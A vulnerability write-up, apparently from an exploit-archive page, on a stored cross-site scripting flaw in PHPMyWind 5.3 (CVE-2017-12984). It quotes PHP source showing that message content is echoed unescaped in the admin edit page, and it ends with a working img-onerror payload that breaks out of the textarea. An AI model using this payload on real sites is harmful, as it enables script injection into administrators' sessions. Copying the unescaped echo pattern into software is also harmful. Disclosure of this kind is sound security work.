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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Exploit Title：PHPMyWind 5.3 has XSS
Exploit Author:小雨
Vendor Homepage:http://phpmywind.com
Software Link:http://phpmywind.com/downloads/PHPMyWind_5.3.zip
Version:5.3
CVE:CVE-2017-12984


$r= $dosql->GetOne("SELECT Max(orderid) AS orderid FROM `#@__message`");
                $orderid= (empty($r['orderid']) ? 1 : ($r['orderid'] + 1));
                $nickname= htmlspecialchars($nickname);//游客(xxx)
                $contact= htmlspecialchars($contact); //联系方式
                $content= htmlspecialchars($content); //留言内容
                
                $posttime= GetMkTime(time());
                $ip= gethostbyname($_SERVER['REMOTE_ADDR']);
        
        
                $sql= "INSERT INTO `#@__message` (siteid, nickname, contact, content, orderid, posttime, htop, rtop, checkinfo, ip) VALUES (1, '$nickname', '$contact', '$content', '$orderid', '$posttime', '', '', 'false', '$ip')";
                if($dosql->ExecNoneQuery($sql))
                {
                        ShowMsg('留言成功，感谢您的支持！','message.php');
                        exit();
                }
        }
可以看出使用htmlspecialchars进行过滤,带入库中.
跟进content参数。
127.0.0.1/PHPMyWind_5.3/admin/ message_update.php
<?php require_once(dirname(__FILE__).'/inc/config.inc.php');IsModelPriv('message'); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>修改留言</title>
<link href="templates/style/admin.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="templates/js/jquery.min.js"></script>
<script type="text/javascript" src="templates/js/checkf.func.js"></script>
<script type="text/javascript" src="editor/kindeditor-min.js"></script>
<script type="text/javascript" src="editor/lang/zh_CN.js"></script>
</head>
<body>
<?php
$row = $dosql->GetOne("SELECT * FROM `#@__message` WHERE `id`=$id");
?>
<div class="formHeader"> <span class="title">修改留言</span> <a href="javascript:location.reload();" class="reload">刷新</a> </div>
<form name="form" id="form" method="post" action="message_save.php">
        <table width="100%" border="0" cellspacing="0" cellpadding="0" class="formTable">
                <tr>
                        <td width="25%" height="40" align="right">用户名：</td>
                        <td width="75%"><strong><?php echo $row['nickname'] ?></strong></td>
                </tr>
                <tr>
                        <td height="40" align="right">联系方式：</td>
                        <td><input type="text" name="contact" id="contact" class="input" value="<?php echo $row['contact'] ?>" /></td>
                </tr>
                <tr>
                        <td height="198" align="right">留言内容：</td>
                        <td><textarea name="content" id="content"><?php echo $row['content'] ?></textarea>
                                <script>


p:33
<td><textarea name="content" id="content"><?php echo $row['content'] ?></textarea>

后台直接取出content参数,数据并未进行转义操作。


EXP: “><img/src=x onerror=alert(2001)><“‘